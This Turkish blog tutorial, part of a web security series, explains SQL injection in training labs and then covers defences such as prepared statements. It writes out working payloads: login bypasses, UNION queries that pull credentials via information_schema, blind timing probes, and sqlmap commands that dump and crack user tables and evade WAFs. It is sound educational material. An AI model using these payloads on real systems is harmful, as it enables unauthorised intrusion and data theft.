July 7, 2026
SQL Injection: Web Uygulamalarının En Eski ve En Tehlikeli Düşmanı
Bir web güvenliği serisi — Bölüm 2

By Yusufbarut
9 min read
Giriş: Neden Hâlâ Önemli?
SQL Injection (SQLi), OWASP Top 10 listesinde yıllardır yer alan, ilk kez 1998'de belgelenmiş olmasına rağmen bugün hâlâ canlı web uygulamalarında karşımıza çıkan bir güvenlik açığı. Peki neden aradan onca yıl geçmesine rağmen hâlâ konuşuyoruz bunu?
Çünkü sorun teknoloji değil, alışkanlık. Geliştiriciler kullanıcı girdisini doğrudan SQL sorgusuna eklemeye devam ettikçe, bu açık farklı framework'lerde, farklı dillerde tekrar tekrar ortaya çıkıyor. Bir önceki yazımda ele aldığım XSS tarayıcı tarafında çalışırken, SQL Injection doğrudan veritabanına, yani uygulamanın en değerli varlığına uzanıyor: kullanıcı bilgileri, şifreler, kredi kartı verileri.
Bu yazıda SQL Injection'ı sıfırdan ele alacağız: mantığından başlayıp, gerçek bir lab ortamında (DVWA, Mutillidae, bWAPP) adım adım nasıl tespit edilip istismar edildiğini göreceğiz, ardından otomasyon araçlarına (sqlmap) ve son olarak korunma yöntemlerine değineceğiz.
⚠️ Not: Bu yazıdaki tüm örnekler yasal, izole test ortamlarında (DVWA, Mutillidae, bWAPP gibi kasıtlı olarak zafiyetli bırakılmış eğitim platformları) gerçekleştirilmiştir. İzniniz olmayan sistemlerde bu teknikleri denemek suçtur.
SQL Injection Nedir?
SQL Injection, bir web uygulamasının veritabanıyla iletişim kurmak için oluşturduğu SQL sorgularına, kullanıcı girdisi üzerinden kötü niyetli SQL kodu enjekte edilmesiyle ortaya çıkan bir güvenlik açığıdır. Uygulama, form alanı, arama kutusu ya da URL parametresi gibi bir girdiyi doğrulamadan veya kaçış (escape) karakterlerini işlemeden doğrudan sorguya eklediğinde, saldırgan bu girdiyi manipüle ederek sorgunun mantığını değiştirebilir.
Basit bir örnekle başlayalım. Bir öğrenci yönetim sistemi düşünün: kullanıcı arayüzden "5A" sınıfını seçtiğinde, arka planda şu şekilde bir sorgu çalışıyor olabilir:
SELECT * FROM ogrenciler WHERE sinif = '5A';SELECT * FROM ogrenciler WHERE sinif = '5A';Eğer uygulama, sınıf bilgisini herhangi bir kontrolden geçirmeden doğrudan sorguya yapıştırıyorsa, saldırgan "5A" yerine özel karakterler içeren bir ifade göndererek sorgunun anlamını tamamen değiştirebilir. İşte SQL Injection'ın temelinde yatan problem tam olarak bu: dinamik olarak oluşturulan SQL sorgularına, denetimsiz kullanıcı girdisinin dahil edilmesi.
Kök Nedenler
- Kullanıcı girdilerinin yeterince doğrulanmaması
- Kaçış (escape) karakterlerinin uygun şekilde kullanılmaması
- SQL sorgularının string birleştirme (concatenation) yoluyla dinamik oluşturulması
- Parametreli sorgular (prepared statements) yerine ham sorgu metinlerinin tercih edilmesi
SQL Temelleri: Saldırıyı Anlamak İçin Gerekli Minimum Bilgi
SQL Injection'ı anlamlandırabilmek için birkaç temel SQL yapısını hatırlamakta fayda var:
-- Temel SELECT sorgusu
SELECT * FROM notlar WHERE final_notu > 60;
-- Birden fazla koşul
SELECT * FROM notlar WHERE final_notu > 50 AND vize_notu < 50;
-- Belirli değer listesi
SELECT adi, soyadi FROM ogrenci WHERE no IN (1, 3, 5, 7);
-- Aralık sorgusu
SELECT * FROM notlar WHERE final_notu BETWEEN 40 AND 80;-- Temel SELECT sorgusu
SELECT * FROM notlar WHERE final_notu > 60;
-- Birden fazla koşul
SELECT * FROM notlar WHERE final_notu > 50 AND vize_notu < 50;
-- Belirli değer listesi
SELECT adi, soyadi FROM ogrenci WHERE no IN (1, 3, 5, 7);
-- Aralık sorgusu
SELECT * FROM notlar WHERE final_notu BETWEEN 40 AND 80;Bir login formunun arkasında tipik olarak şöyle bir sorgu çalışır:
SELECT * FROM users WHERE username = 'yusuf' AND password = '123456';SELECT * FROM users WHERE username = 'yusuf' AND password = '123456';Saldırganın amacı, bu sorgunun mantığını meta karakterler (özellikle tek tırnak ') ve mantıksal operatörler (OR, AND) kullanarak bozmak ve yetkilendirme (authorization) adımını atlatmaktır. Örneğin kullanıcı adı alanına şu ifade girilirse:
' OR '5'='5' OR '5'='5Sorgu şu hale gelir:
SELECT * FROM users WHERE username = '' OR '5'='5' AND password = '';SELECT * FROM users WHERE username = '' OR '5'='5' AND password = '';'5'='5' koşulu her zaman doğru olduğu için, sorgu tüm kullanıcıları döndürebilir — bu da klasik bir login bypass senaryosudur.
SQL Injection Türleri
SQLi genel olarak üç ana kategoriye ayrılır:
Tür Açıklama In-Band SQLi Saldırgan, sorguyu gönderdiği aynı kanal üzerinden sonucu doğrudan görür. En yaygın ve en kolay istismar edilen tür. Blind SQLi Uygulama sonucu doğrudan göstermez; saldırgan sunucunun davranışını (gecikme, true/false yanıtlar) gözlemleyerek bilgi çıkarır. Out-of-Band SQLi Sonuç, farklı bir kanal (DNS, HTTP istekleri) üzerinden dışarıya sızdırılır. Daha nadir görülür, genellikle diğer yöntemler işe yaramadığında kullanılır.
In-Band SQLi: Error-Based ile Zafiyet Tespiti
DVWA benzeri bir uygulamada, kullanıcı ID'si giren bir form düşünelim. Arka planda muhtemelen şu sorgu çalışıyor:
SELECT first_name, last_name FROM users WHERE user_id = '$id'SELECT first_name, last_name FROM users WHERE user_id = '$id'İlk test adımı her zaman basittir: tek tırnak (') meta karakterini girdi alanına yazmak. Eğer sayfa bir SQL hatası döndürürse, bu girdinin filtrelenmediğini ve error-based bir SQL Injection açığının var olduğunu gösterir.
Bu noktadan sonra OR operatörüyle manipülasyona geçilir:
X' OR '3'='3X' OR '3'='3Buradaki mantık şu: X diye bir ID olmadığı için ilk koşul sağlanmaz, ancak OR operatörünün sağındaki '3'='3' koşulu her zaman doğru olduğu için sorgu genel olarak TRUE döner ve veritabanı içeriği gösterilir. Buna karşılık K' AND '3'='5 gibi bir sorguda hem ID geçersiz hem koşul yanlış olduğu için hiçbir sonuç dönmez.
Login formlarında hem kullanıcı adı hem şifre alanı aynı anda AND ile birleştirildiğinde, her iki alana da benzer bir mantık uygulanabilir:
Username: test' OR '2'='2
Password: test' OR '2'='2Username: test' OR '2'='2
Password: test' OR '2'='2Her iki alan da OR sayesinde TRUE döndüğü için AND ifadesi iki TRUE değeri kabul eder ve authentication bypass edilmiş olur. # karakteri kullanılarak sorgunun geri kalanı yorum satırına çevrilip, tek bir hamlede belirli bir kullanıcının (örneğin admin) tüm verileri çekilebilir.
Union-Based SQLi: Veritabanını Adım Adım Haritalamak
UNION operatörü, birden fazla SELECT sorgusunun sonuçlarını birleştirmeyi sağlar. Saldırganın burada amacı, uygulamanın orijinal sorgusuna kendi SELECT ifadesini eklemek ve normalde erişemeyeceği tablolardan veri çekmektir.
SELECT name, price FROM products WHERE category = 'books'
UNION
SELECT username, password FROM users WHERE role = 'admin';SELECT name, price FROM products WHERE category = 'books'
UNION
SELECT username, password FROM users WHERE role = 'admin';Ancak UNION'ın çalışması için kritik bir kural vardır: birleştirilen iki sorgunun kolon sayısı birebir eşleşmelidir. Bu yüzden Union-based saldırının ilk adımı her zaman kolon sayısını bulmaktır.
Adım 1 — ORDER BY ile Kolon Sayısını Bulmak
' ORDER BY 1#
' ORDER BY 2#
' ORDER BY 3# -- hata alınırsa, kolon sayısı 2'dir' ORDER BY 1#
' ORDER BY 2#
' ORDER BY 3# -- hata alınırsa, kolon sayısı 2'dirSıradaki sayı hata verene kadar artırılır. Hata alındığı noktadan bir önceki sayı, tablonun gerçek kolon sayısını verir.
Adım 2 — UNION SELECT ile Doğrulama ve Bilgi Toplama
Kolon sayısı bulunduktan sonra, hangi kolonun ekranda göründüğünü tespit etmek için sayısal placeholder'lar kullanılır:
' UNION SELECT 1,2,3,4,5,6,7#' UNION SELECT 1,2,3,4,5,6,7#Ekranda hangi sayı görünüyorsa, o kolon üzerinden veri çekilebilir demektir. Bu noktadan sonra placeholder'lar, işimize yarayan SQL fonksiyonlarıyla değiştirilir:
' UNION SELECT 1,database(),3,4,5,6,7#
' UNION SELECT 1,database(),user(),version(),5,6,7#' UNION SELECT 1,database(),3,4,5,6,7#
' UNION SELECT 1,database(),user(),version(),5,6,7#Bu iki sorgu sırasıyla kullanılan veritabanı adını, veritabanı kullanıcısını ve MySQL sürümünü sızdırır.
Adım 3 — information_schema ile Keşif
information_schema, ilişkisel veritabanlarında yerleşik olarak bulunan ve tüm tablo/kolon meta verilerini tutan bir sistem şemasıdır. Read-only olduğu için saldırgan açısından güvenli bir keşif kaynağıdır.
-- Tüm tabloları listele
' UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables#
-- Belirli bir veritabanındaki tabloları filtrele
' UNION SELECT 1,table_name,3,4,5,6,7
FROM information_schema.tables WHERE table_schema='hedef_db'#
-- Belirli bir tablonun kolonlarını listele
' UNION SELECT 1,column_name,3,4,5,6,7
FROM information_schema.columns WHERE table_name='accounts'#-- Tüm tabloları listele
' UNION SELECT 1,table_name,3,4,5,6,7 FROM information_schema.tables#
-- Belirli bir veritabanındaki tabloları filtrele
' UNION SELECT 1,table_name,3,4,5,6,7
FROM information_schema.tables WHERE table_schema='hedef_db'#
-- Belirli bir tablonun kolonlarını listele
' UNION SELECT 1,column_name,3,4,5,6,7
FROM information_schema.columns WHERE table_name='accounts'#Adım 4 — Hedef Veriyi Çekmek
Kolon isimleri elde edildikten sonra artık doğrudan hedef veriye ulaşılabilir:
' UNION SELECT 1,username,password,4,5,6,7 FROM accounts#' UNION SELECT 1,username,password,4,5,6,7 FROM accounts#Eğer tablo çok sayıda kolon içeriyorsa ve UNION için ayrılan yer kısıtlıysa, CONCAT() fonksiyonu tüm gerekli kolonları tek bir "sanal kolon" gibi birleştirmek için kullanılır:
' UNION SELECT 1,
concat(username,';',password,';',is_admin,';',firstname,';',lastname),
3,4,5,6,7 FROM accounts#' UNION SELECT 1,
concat(username,';',password,';',is_admin,';',firstname,';',lastname),
3,4,5,6,7 FROM accounts#Filtrelenmiş Ortamlarda: AND ile Sorguyu İçeriden Kırmak
Bazı uygulamalar tek tırnak karakterini filtreler; bu durumda ikinci bir sorgu açmak mümkün olmaz. Çözüm, mevcut sorgunun içinde kalarak onu AND operatörüyle yanıltıcı bir koşulla geçersiz kılmaktır:
movie=4 AND 1=0 UNION SELECT 1,2,3,4,5,6,7#movie=4 AND 1=0 UNION SELECT 1,2,3,4,5,6,7#1=0 koşulu her zaman yanlış olduğu için orijinal sorgu boş döner, ardından UNION SELECT devreye girer ve istenen veriler ekrana yansır. Bu teknik özellikle GET parametreleriyle çalışan, doğrudan SQL girişine izin vermeyen sayfalarda (örneğin bWAPP'ın SELECT modülü) kritik önem taşır.
Blind SQLi: Karanlıkta Yol Bulmak
Bazı uygulamalarda hata mesajları kullanıcıya gösterilmez ya da sorgu sonucu ekrana yansıtılmaz. Bu durum zafiyetin olmadığı anlamına gelmez — sadece saldırganın dolaylı sinyallere güvenmesi gerektiği anlamına gelir. İşte tam bu noktada Blind SQLi devreye girer.
Time-Based Blind SQLi
Saldırgan, sunucuyu belirli bir süre "uyutan" bir sorgu gönderir. Eğer sayfa gerçekten o kadar süre gecikirse, koşulun doğru olduğu (ve dolayısıyla zafiyetin var olduğu) anlaşılır:
' AND SLEEP(8)#' AND SLEEP(8)#Sunucu yanıtı 8 saniye geciktiriyorsa, bu time-based blind SQL injection açığının kanıtıdır.
Boolean-Based Blind SQLi
Bu teknikte IF() yapısı kullanılır ve sayfa davranışı (true/false, farklı içerik) gözlemlenir:
1' AND IF(1=1, SLEEP(3), 1)#1' AND IF(1=1, SLEEP(3), 1)#İlk koşul (1=1) doğruysa sayfa 3 saniye bekler; yanlışsa hiçbir gecikme olmaz. Bu mantık, veritabanı içeriğini karakter karakter, deneme-yanılma yoluyla çıkarmak için kullanılabilir — yavaş ama güvenilir bir yöntemdir.
Otomasyon: sqlmap ile Uçtan Uca Sızma Testi
Manuel keşif önemli bir öğrenme süreci olsa da, gerçek dünya pentest'lerinde sqlmap gibi araçlar süreci ciddi şekilde hızlandırır. Temel akış şöyledir:
1. Burp Suite ile session/cookie bilgisini yakala:
sqlmap -u "http://hedef/dvwa/vulnerabilities/sqli/?id=a&Submit=Submit#" \
-p "id" \
--cookie "security=low; PHPSESSID=xxxx;"sqlmap -u "http://hedef/dvwa/vulnerabilities/sqli/?id=a&Submit=Submit#" \
-p "id" \
--cookie "security=low; PHPSESSID=xxxx;"sqlmap; arka uç veritabanı türünü, test derinliğini ve yönlendirmeleri takip edip etmeyeceğinizi interaktif olarak sorar. --batch parametresi bu soruları atlayıp varsayılan cevaplarla otomatik ilerlemeyi sağlar.
2. Veritabanlarını listele:
sqlmap -u "..." -p "id" --cookie "..." --batch --dbssqlmap -u "..." -p "id" --cookie "..." --batch --dbs3. Level ve risk ile keşif derinliğini artır:
sqlmap -u "..." -p "id" --cookie "..." --batch --dbs --level 3 --risk 3sqlmap -u "..." -p "id" --cookie "..." --batch --dbs --level 3 --risk 3--level (1-5) gönderilen istek sayısını ve test çeşitliliğini; --risk (1-3) ise daha agresif tekniklerin (time-based, OR-based) devreye girip girmeyeceğini belirler. Yüksek seviyeler sunucuyu yorabilir hatta bir DoS etkisi yaratabilir — bu yüzden pratikte level/risk 3'ü aşmamak makul bir yaklaşımdır.
4. Tablo, kolon ve veriyi sırayla çek:
sqlmap -u "..." -p "id" --cookie "..." --batch -D dvwa --tables
sqlmap -u "..." -p "id" --cookie "..." --batch -D dvwa -T users --columns
sqlmap -u "..." -p "id" --cookie "..." --batch -D dvwa -T users -C user,password --dumpsqlmap -u "..." -p "id" --cookie "..." --batch -D dvwa --tables
sqlmap -u "..." -p "id" --cookie "..." --batch -D dvwa -T users --columns
sqlmap -u "..." -p "id" --cookie "..." --batch -D dvwa -T users -C user,password --dump--dump komutu, hedef kolonlardaki tüm satırları çeker. sqlmap, çektiği hash'leri (örn. MD5) yerleşik wordlist'i kullanarak otomatik kırmayı da dener.
5. POST formları için:
sqlmap -u "http://hedef/login.php" \
--data "username=q&password=&submit=Login" \
-p "username,password" \
--cookie "..." --dbssqlmap -u "http://hedef/login.php" \
--data "username=q&password=&submit=Login" \
-p "username,password" \
--cookie "..." --dbsBurada --batch kullanılmaması bazen tercih edilir; çünkü sqlmap bazı durumlarda varsayılan cevapla erken sonlanabilir, oysa test derinleştirilmek istenebilir.
6. Gerçek dünya notu — WAF ve tamper script'leri:
sqlmap'in --tamper scriptleri, sorguları WAF/güvenlik duvarlarını atlatacak şekilde kodlar (örneğin space2comment.py, boşlukları /**/ ile encode eder). Bu, saldırı-savunma dengesini anlamak açısından önemli ama yalnızca yetkili testlerde kullanılması gereken bir özelliktir.
🔒 Etik hatırlatma: sqlmap gibi araçlar son derece güçlüdür ve yüksek
--level/--riskdeğerleriyle hedef sunucuda gerçek bir DoS etkisi yaratabilir. Bu araçları yalnızca yazılı izniniz olan ortamlarda kullanın.
Tespit: Union-Based Saldırıları Nasıl Anlarız?
Union-based SQLi tespiti, genel SQLi tespitiyle büyük ölçüde örtüşür:
- Bir hata alınıyor ve bu hatanın olduğu noktada veritabanından çekilen veri kullanıcıya gösteriliyorsa, Union-based istismar mümkün olabilir.
- Uygulama hata mesajlarını gizlese bile, bu zafiyetin olmadığı anlamına gelmez — sadece doğrudan gözlemi zorlaştırır.
- Farklı veritabanı motorları (MySQL, MSSQL, PostgreSQL, Oracle) farklı hata formatları döndürür; bu formatları tanımak, hangi DBMS ile karşı karşıya olduğunuzu anlamanıza yardımcı olur.
Korunma Yöntemleri
SQL Injection'dan korunmanın temeli, kullanıcı girdisinin asla doğrudan SQL sorgusuna dahil edilmemesi prensibine dayanır.
1. Prepared Statements (Parametreli Sorgular)
En etkili ve endüstri standardı çözüm budur. Sorgu yapısı önceden derlenir, kullanıcı girdisi yalnızca bir parametre olarak bağlanır — asla sorgunun bir parçası olarak yorumlanmaz.
# Güvensiz (string concatenation)
query = "SELECT * FROM users WHERE username = '" + username + "'"
# Güvenli (parametreli sorgu)
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))# Güvensiz (string concatenation)
query = "SELECT * FROM users WHERE username = '" + username + "'"
# Güvenli (parametreli sorgu)
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))2. Girdi Doğrulama (Input Validation)
Beklenen veri formatına (whitelist yaklaşımı) uymayan her girdi reddedilmelidir. Örneğin bir ID alanı yalnızca sayısal karakter kabul etmelidir.
3. En Az Yetki İlkesi
Uygulamanın veritabanına bağlandığı kullanıcı hesabı, yalnızca ihtiyaç duyduğu işlemleri (örneğin sadece SELECT) yapabilecek şekilde kısıtlanmalıdır. Bu, bir SQLi açığı istismar edilse bile hasarı sınırlar.
4. ORM Kullanımı
Django ORM, SQLAlchemy, Hibernate gibi ORM katmanları varsayılan olarak parametreli sorgular ürettiği için ek bir güvenlik katmanı sağlar — ancak ham (raw) SQL sorgusu yazıldığında bu koruma devre dışı kalabilir, dikkatli olunmalı.
5. Hata Mesajlarını Gizlemek
Üretim ortamında veritabanı hata mesajlarının kullanıcıya gösterilmemesi, saldırganın error-based tekniklerle bilgi toplamasını zorlaştırır (tek başına yeterli bir önlem değildir, ama savunma derinliği açısından önemlidir).
6. WAF (Web Application Firewall)
Bilinen SQLi kalıplarını tespit edip engelleyen bir WAF, ek bir savunma katmanı sağlar — ancak tamper script'leriyle atlatılabileceği unutulmamalı, tek başına yeterli görülmemelidir.
Sonuç
SQL Injection, basit bir tek tırnak karakteriyle başlayıp, doğru koşullarda tüm bir veritabanının ele geçirilmesiyle sonuçlanabilen, hâlâ son derece güncel bir tehdit. Bu yazıda gördüğümüz gibi, saldırı süreci aslında sistematik bir keşif metodolojisi izliyor: önce zafiyetin varlığını doğrula (tek tırnak testi), kolon sayısını bul (ORDER BY), veritabanı yapısını haritalamak için information_schema'yı kullan, ve son olarak hedef veriyi çek. Sonuç doğrudan görünmüyorsa Blind teknikler (time-based, boolean-based) devreye girer. sqlmap gibi araçlar bu süreci otomatikleştirse de, temelindeki mantığı anlamadan bu araçları etkin kullanmak mümkün değil.
Savunma tarafında ise iyi haber şu: SQL Injection, doğru mühendislik pratikleriyle (özellikle prepared statements) neredeyse tamamen önlenebilir bir açık türü. Sorun genellikle teknoloji eksikliği değil, geliştirici alışkanlıkları ve farkındalık eksikliği.
Bir sonraki yazıda Cross-Site Request Forgery (CSRF) konusuna geçeceğiz — kullanıcının bilgisi dışında, onun adına yetkili işlemler yaptırma tekniğine.
📚 Bu Serinin Diğer Yazıları
- ✅ Web Güvenliği Serisi #1 — Cross-Site Scripting (XSS)
- ✅ Web Güvenliği Serisi #2 — SQL Injection (Bu yazı)
- ⏳ Web Güvenliği Serisi #3 — Cross-Site Request Forgery (CSRF) (Yakında)
Kaynaklar
- OWASP SQL Injection Prevention Cheat Sheet
- OWASP Top 10 (2021)
- DVWA (Damn Vulnerable Web Application) — resmi dökümantasyon
- Mutillidae II — OWASP proje sayfası
- bWAPP (buggy Web Application) — resmi dökümantasyon
- sqlmap resmi dökümantasyonu
Bu yazı, kendi laboratuvar ortamımda (DVWA, Mutillidae, bWAPP) gerçekleştirdiğim testlere dayanmaktadır. Sorularınız veya geri bildirimleriniz için yorumlarda buluşalım.